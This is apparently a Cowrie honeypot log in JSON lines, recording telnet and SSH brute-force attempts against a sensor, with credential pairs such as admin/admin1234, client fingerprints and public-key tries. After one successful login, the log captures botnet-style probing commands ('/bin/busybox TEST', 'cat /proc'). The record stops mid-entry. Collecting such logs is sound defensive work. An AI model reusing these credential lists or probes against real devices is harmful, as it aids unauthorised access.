{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:24.529858Z","src_ip":"176.65.139.118","session":"df3486b65caf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.915335416793823,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:26.619726Z","src_ip":"176.65.139.118","session":"df3486b65caf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":53214,"dst_ip":"159.203.135.109","dst_port":23,"session":"9158b705fa8c","protocol":"telnet","message":"New connection: 176.65.139.118:53214 (159.203.135.109:23) [session: 9158b705fa8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:26.699979Z"}
{"eventid":"cowrie.session.closed","duration":3.0124406814575195,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:29.712287Z","src_ip":"176.65.139.118","session":"9158b705fa8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":58574,"dst_ip":"159.203.135.109","dst_port":23,"session":"6675a0a7cf1e","protocol":"telnet","message":"New connection: 176.65.139.118:58574 (159.203.135.109:23) [session: 6675a0a7cf1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:29.890677Z"}
{"eventid":"cowrie.session.closed","duration":52.88628363609314,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:30.732497Z","src_ip":"152.42.224.71","session":"dfbd097a8234","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:33.908548Z","src_ip":"176.65.139.118","session":"6675a0a7cf1e","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:33.964925Z","src_ip":"176.65.139.118","session":"6675a0a7cf1e","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:34.998158Z","src_ip":"176.65.139.118","session":"6675a0a7cf1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":42938,"dst_ip":"10.17.0.5","dst_port":22,"session":"00406eb68c31","protocol":"ssh","message":"New connection: 103.149.170.125:42938 (10.17.0.5:22) [session: 00406eb68c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:36.129649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:36.134025Z","src_ip":"103.149.170.125","session":"00406eb68c31","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:36.204200Z","src_ip":"176.65.139.118","session":"6675a0a7cf1e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:36.406324Z","src_ip":"103.149.170.125","session":"00406eb68c31","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:37.386153Z","src_ip":"176.65.139.118","session":"6675a0a7cf1e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"162534","message":"login attempt [root/162534] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:37.534214Z","src_ip":"103.149.170.125","session":"00406eb68c31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:38.814831Z","src_ip":"103.149.170.125","session":"00406eb68c31","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:38.826070Z","src_ip":"176.65.139.118","session":"6675a0a7cf1e","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:38.861388Z","src_ip":"176.65.139.118","session":"6675a0a7cf1e","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"5.5","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:39.438344Z","src_ip":"176.65.139.118","session":"6675a0a7cf1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.55923318862915,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:39.449806Z","src_ip":"176.65.139.118","session":"6675a0a7cf1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.226.40.55","src_port":35172,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8776af57280","protocol":"telnet","message":"New connection: 213.226.40.55:35172 (10.17.0.5:23) [session: b8776af57280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:43:49.971359Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50332,"dst_ip":"10.17.0.5","dst_port":23,"session":"f56db9d74f36","protocol":"telnet","message":"New connection: 152.42.224.71:50332 (10.17.0.5:23) [session: f56db9d74f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:44:01.800670Z"}
{"eventid":"cowrie.session.closed","duration":13.238655805587769,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:44:03.209820Z","src_ip":"213.226.40.55","session":"b8776af57280","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.237","src_port":51104,"dst_ip":"10.17.0.5","dst_port":23,"session":"529f51f95788","protocol":"telnet","message":"New connection: 198.235.24.237:51104 (10.17.0.5:23) [session: 529f51f95788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:44:05.300697Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33064,"dst_ip":"10.17.0.5","dst_port":23,"session":"b346da7737f2","protocol":"telnet","message":"New connection: 152.42.224.71:33064 (10.17.0.5:23) [session: b346da7737f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:44:29.045430Z"}
{"eventid":"cowrie.session.closed","duration":30.779657125473022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:44:36.080228Z","src_ip":"198.235.24.237","session":"529f51f95788","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.01353693008423,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:44:51.814083Z","src_ip":"152.42.224.71","session":"f56db9d74f36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.240.223.208","src_port":51102,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fe4d011733b","protocol":"telnet","message":"New connection: 66.240.223.208:51102 (10.17.0.5:23) [session: 3fe4d011733b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:44:54.250333Z"}
{"eventid":"cowrie.session.closed","duration":10.07445240020752,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:45:04.324669Z","src_ip":"66.240.223.208","session":"3fe4d011733b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54844,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eb4a741444c","protocol":"telnet","message":"New connection: 152.42.224.71:54844 (10.17.0.5:23) [session: 4eb4a741444c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:45:15.250624Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.245.161","src_port":36356,"dst_ip":"10.17.0.5","dst_port":22,"session":"297c50776c43","protocol":"ssh","message":"New connection: 148.153.245.161:36356 (10.17.0.5:22) [session: 297c50776c43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:45:22.160356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:45:22.164983Z","src_ip":"148.153.245.161","session":"297c50776c43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:45:22.208925Z","src_ip":"148.153.245.161","session":"297c50776c43","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:04:16:73:1d:11:30:5e:aa:3f:ac:17:7e:27:f0:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDlLRn7kH0yuEC2hh2CmZf+gCqn4P0fGy/CZSgZ52QwZQgrJc+UXUR0/E7CX/jWQbQuQIrICOqmpNKnptSn/dtFFQtVNbiOoEw6ZidffliRXW37b6nNnKix3fWkRWwBixYqUmHps4+puM3lxWbFJCy+u5xzeB3I3vbk/PHZOwRBy5YymzBisefcYO1lXGQE0qe3xOWlX7KiSLQ76ziKeUdGKh+JhIPpapp7NCEsNMABCi1WTrCQaqsD983Lo11CCV3Xdfu9kaDzBbInm5wkRJ7FNHvd/KUorfbFWg8YqstN/N4bJdXiaPpmnPHBUgIi6Jq2s8FZEZxAkiLsY6LzQyhLUj4S57PnKtUBCHINBgI5GTNoeB9jZtiGxSlA4K+hw7xfUe8D3voevbBRz4xLW5T68r4cCE4iPo/kshCY7xyG48Au94BEfeVyUagydRUzWWBKb8tJMbC/fgx7v3JOJbdXJOCpd3rLkTQN83mepjaC/lKaFFVw9ZUo3MLjiXmFOCnTs/PpO49rLeRx+zg5A1/yKQOXOWnTCzxrqOYQ5hYDhdDN00YubO67oR5rcoSWqLAHI0ck0SKWyoD6zwHEMKQSva7v2s5P8dLOPyTm+iOinaCFCyBNKe9CUt6RdYfiv2dn2XrQ9Mp8wcUUpnxDxeCxgNj1bOtstbe7GjWU11niZw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:04:16:73:1d:11:30:5e:aa:3f:ac:17:7e:27:f0:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:45:22.402797Z","src_ip":"148.153.245.161","session":"297c50776c43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:04:16:73:1d:11:30:5e:aa:3f:ac:17:7e:27:f0:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDlLRn7kH0yuEC2hh2CmZf+gCqn4P0fGy/CZSgZ52QwZQgrJc+UXUR0/E7CX/jWQbQuQIrICOqmpNKnptSn/dtFFQtVNbiOoEw6ZidffliRXW37b6nNnKix3fWkRWwBixYqUmHps4+puM3lxWbFJCy+u5xzeB3I3vbk/PHZOwRBy5YymzBisefcYO1lXGQE0qe3xOWlX7KiSLQ76ziKeUdGKh+JhIPpapp7NCEsNMABCi1WTrCQaqsD983Lo11CCV3Xdfu9kaDzBbInm5wkRJ7FNHvd/KUorfbFWg8YqstN/N4bJdXiaPpmnPHBUgIi6Jq2s8FZEZxAkiLsY6LzQyhLUj4S57PnKtUBCHINBgI5GTNoeB9jZtiGxSlA4K+hw7xfUe8D3voevbBRz4xLW5T68r4cCE4iPo/kshCY7xyG48Au94BEfeVyUagydRUzWWBKb8tJMbC/fgx7v3JOJbdXJOCpd3rLkTQN83mepjaC/lKaFFVw9ZUo3MLjiXmFOCnTs/PpO49rLeRx+zg5A1/yKQOXOWnTCzxrqOYQ5hYDhdDN00YubO67oR5rcoSWqLAHI0ck0SKWyoD6zwHEMKQSva7v2s5P8dLOPyTm+iOinaCFCyBNKe9CUt6RdYfiv2dn2XrQ9Mp8wcUUpnxDxeCxgNj1bOtstbe7GjWU11niZw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:45:22.407461Z","src_ip":"148.153.245.161","session":"297c50776c43","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:e6:3d:36:9a:26:8c:92:60:46:26:8b:15:2d:ec:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAo+MUo6+Vz45APHpwiwevp6QdOs9Li381vOt2Tj/6A9LXbQWA3AHBcHmAVvOY92iej/jVzVhsRF7jRO/zCKltZ5tdPe6wcNjsB2vfm4597rQSvwxfRsN9Y45+n6sKVa/wRGZMF4jtU9FrCxucqTLN0523jLow9zDnGJyb0tux37ApKjhQKKs2TZtcC57T1Y5fGX/muq4AH1/tIQDeZNdstFsJ+KHoQrlwEO5Dlu1/j5NKSwbhpffgElCJuKthUMOl3SGkDKeQPxU5pXMaF3HmanO5GTXLD8hHPTmXi4nUsb0vomC0BKSU6pi3OqVqkRGH7Oj91wYmKLvFTtpgGsFR4bS4rkHNzX0pi2wSLfsG2xho3yescKYrXJVtVEhXhuEYU0L86tyxYgUrzUAVi60LMxP52nvhw75iPqQ65W/8JYTrAPjnGYpHd43jOWpYRyp/+Yn1+5gu0Ev6V+fknXGrFcAu8uFWXRNuzWqJ1aj+6Vkw55D+bwcGbMy0E7CWNDc5dgn51vMxom3LCjXjAunVd5kImWKGXYkIWaE66JHcEhCYh0Dl7uirBv2M7JAj/MPClvrKQQGSpH4bS/KabdN9jznKIZHAxdlHelbmN3poUXnyv1wDb4JxYO4vBA9I+bUs3MUYC2Dl42DqluzqNUGFrIia1SNG1TmD4O6DcnfiBa8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:e6:3d:36:9a:26:8c:92:60:46:26:8b:15:2d:ec:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:45:22.452737Z","src_ip":"148.153.245.161","session":"297c50776c43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:e6:3d:36:9a:26:8c:92:60:46:26:8b:15:2d:ec:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAo+MUo6+Vz45APHpwiwevp6QdOs9Li381vOt2Tj/6A9LXbQWA3AHBcHmAVvOY92iej/jVzVhsRF7jRO/zCKltZ5tdPe6wcNjsB2vfm4597rQSvwxfRsN9Y45+n6sKVa/wRGZMF4jtU9FrCxucqTLN0523jLow9zDnGJyb0tux37ApKjhQKKs2TZtcC57T1Y5fGX/muq4AH1/tIQDeZNdstFsJ+KHoQrlwEO5Dlu1/j5NKSwbhpffgElCJuKthUMOl3SGkDKeQPxU5pXMaF3HmanO5GTXLD8hHPTmXi4nUsb0vomC0BKSU6pi3OqVqkRGH7Oj91wYmKLvFTtpgGsFR4bS4rkHNzX0pi2wSLfsG2xho3yescKYrXJVtVEhXhuEYU0L86tyxYgUrzUAVi60LMxP52nvhw75iPqQ65W/8JYTrAPjnGYpHd43jOWpYRyp/+Yn1+5gu0Ev6V+fknXGrFcAu8uFWXRNuzWqJ1aj+6Vkw55D+bwcGbMy0E7CWNDc5dgn51vMxom3LCjXjAunVd5kImWKGXYkIWaE66JHcEhCYh0Dl7uirBv2M7JAj/MPClvrKQQGSpH4bS/KabdN9jznKIZHAxdlHelbmN3poUXnyv1wDb4JxYO4vBA9I+bUs3MUYC2Dl42DqluzqNUGFrIia1SNG1TmD4O6DcnfiBa8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:45:22.459989Z","src_ip":"148.153.245.161","session":"297c50776c43","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:f6:4c:83:20:78:b8:1a:95:b3:7a:4b:27:89:05:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9LSkPuyfpMaAfqjiLa+g3wIbA4KPl5UHFXLQ2A66TH5Er3ffEnlCOu0kWrPTur2J4FSLqX1VOsSl7ttTkRzOPskSCEzK1TV1wg7lAFr2hjKA33CWoE3UVWt7JuFhjcvESgoK7ul8Io5dcc/IPGjHx46B2C7VCKTFbrpADBpSmgOh92nwovrW5MviNJO0f4n+XM4XGEj6+bKoZN5arYwVs6FBnj9rb++Qs/o3h//PqeUVRRGN2nr2/lE/sNze8611IJd0snuu79q8Lufi/bfKiDNRM5QPe0Vo2T6ACyhrnBJ0Pi21G78w2OHqyQsmGpXI9Xg6k67Xn3zPlTPMNLLQ9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:f6:4c:83:20:78:b8:1a:95:b3:7a:4b:27:89:05:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:45:22.506168Z","src_ip":"148.153.245.161","session":"297c50776c43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:f6:4c:83:20:78:b8:1a:95:b3:7a:4b:27:89:05:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9LSkPuyfpMaAfqjiLa+g3wIbA4KPl5UHFXLQ2A66TH5Er3ffEnlCOu0kWrPTur2J4FSLqX1VOsSl7ttTkRzOPskSCEzK1TV1wg7lAFr2hjKA33CWoE3UVWt7JuFhjcvESgoK7ul8Io5dcc/IPGjHx46B2C7VCKTFbrpADBpSmgOh92nwovrW5MviNJO0f4n+XM4XGEj6+bKoZN5arYwVs6FBnj9rb++Qs/o3h//PqeUVRRGN2nr2/lE/sNze8611IJd0snuu79q8Lufi/bfKiDNRM5QPe0Vo2T6ACyhrnBJ0Pi21G78w2OHqyQsmGpXI9Xg6k67Xn3zPlTPMNLLQ9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:45:22.510652Z","src_ip":"148.153.245.161","session":"297c50776c43","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:01:d4:ed:43:cc:e9:fd:d1:db:38:6d:3b:cb:d7:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZGN/8J62rW+Sr5Pu2vBhyrMT7NR6OCNYytgRk8Y08lsdXCWk8aCmjBtwHPfUOu8rk5+N3eBMOVHxKkk/MC3/Q+YElPDj/zp6Az3YWUx+36hGyqmu99PHzLU1EN5ma+WXiL8R39/5xAsM3kUuBW6kX3J0pmON8W+trmBEmfTlzK+P9pClwPmpNgsy/R5WFM//livoGmddIr/Yc1eyAoYHRlQBUpig/3/Z12g0ZJOLbw9cTmtjme3fHirAOhy5ZrwCOhkCOa4t4/HueNA5HIcV6CuGVvRakqB4D08BGP3brBK7u/RD1qAE+Pvm8roAM54fr3/xwI6xi0aQ/XhUm2ogb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:01:d4:ed:43:cc:e9:fd:d1:db:38:6d:3b:cb:d7:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:45:22.555763Z","src_ip":"148.153.245.161","session":"297c50776c43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:01:d4:ed:43:cc:e9:fd:d1:db:38:6d:3b:cb:d7:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZGN/8J62rW+Sr5Pu2vBhyrMT7NR6OCNYytgRk8Y08lsdXCWk8aCmjBtwHPfUOu8rk5+N3eBMOVHxKkk/MC3/Q+YElPDj/zp6Az3YWUx+36hGyqmu99PHzLU1EN5ma+WXiL8R39/5xAsM3kUuBW6kX3J0pmON8W+trmBEmfTlzK+P9pClwPmpNgsy/R5WFM//livoGmddIr/Yc1eyAoYHRlQBUpig/3/Z12g0ZJOLbw9cTmtjme3fHirAOhy5ZrwCOhkCOa4t4/HueNA5HIcV6CuGVvRakqB4D08BGP3brBK7u/RD1qAE+Pvm8roAM54fr3/xwI6xi0aQ/XhUm2ogb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:45:22.559372Z","src_ip":"148.153.245.161","session":"297c50776c43","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:55:07:d1:3c:96:fd:ba:85:de:63:dd:23:98:1e:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDX/wrAhCdSQU87+Gn1fgxyczTLyqf2n8U0Zdgwri1lSlxk7f+yn7Q/NrLoE8oyrjcKYQMWlg15OmmJBxI1eQ5Ml7d8xb1ldFMYJE4A1BmbV2r3xSOqYU3xC92dsVz0yzgsph3R4zRtnUv9pzlkBhtgHgxiAVaqCDl4j9BM2AjNxr6basDCaVjUiOHErqSINRn+taKAILKrNe/DiqcM0xoIQwKpHeaEP+xNVwGIFILe5fGmQ/z3y6YPCHVAmafJ65UINU4sXON/3MX5UMCytX7/VsNnRQo2/ceO/cFDpC23+VBdQ/dsArnXZdndPFH7jnEefw2ZDFeSOBO28jSkKMlvKIqFlpmYBd5kE1LDDkJCj+Z+0/WTEBiwP8ED5gTQ9xGs9mnThMGhZ92QZ2rlTAeRrIZuNCzehoEhigvDdIK2/bZeXiSgyZwPSSKpF6R0hyZCtragK4I9S4XSymplCeQAxN1Sv+OsPOcndtGfUY7TSyN8q5xWzOn6oG2XDivrziYE/Q55NXNEcKVGzBYvorSGEEfNmpXkFSXfrzwPjoOG08+nKHvLFyTWJx4HDXe9cAVeVnps6rI8DbzfliUiX0Ti8fD+bxiBdn+KKDvd5LVXQCv9LaNKcz9FIafpYsPFm3ctk2w6GwtWsHRfqfRV9RXJ8oO2EjTYP6zcOXlKhVzy5w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 